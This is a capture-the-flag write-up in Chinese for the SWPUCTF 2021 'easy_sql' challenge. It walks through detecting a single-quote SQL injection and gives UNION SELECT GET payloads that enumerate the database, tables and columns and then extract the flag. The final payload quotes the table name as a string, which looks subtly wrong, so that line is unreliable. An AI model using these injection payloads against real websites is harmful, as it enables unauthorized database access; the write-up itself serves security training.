Problem: [SWPUCTF 2021 新生赛]easy_sql
思路
- 解题大致思路
1.测试闭合符号,测试后发现是'注入

2.观察报错信息
sql
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
这里准备进行报错注入
接着构造payload即可
爆数据库名
GET /?wllm=2'union select 1,database(),3--+ HTTP/1.1

接下来的思路就是数据库名-表名-列名这种思路
EXP
- 具体攻击代码
爆破表名
GET /?wllm=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
爆破列名
GET /?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db'--+
直接拿取flag
GET ?wllm=-1'union select 1,2,flag from 'test_tb'
总结
- 对该题的考点总结
1.考察判断是否存在SQL注入的能力
2.完整的SQL注入拿取信息能力,爆数据库--表名--列名--字段的思考角度
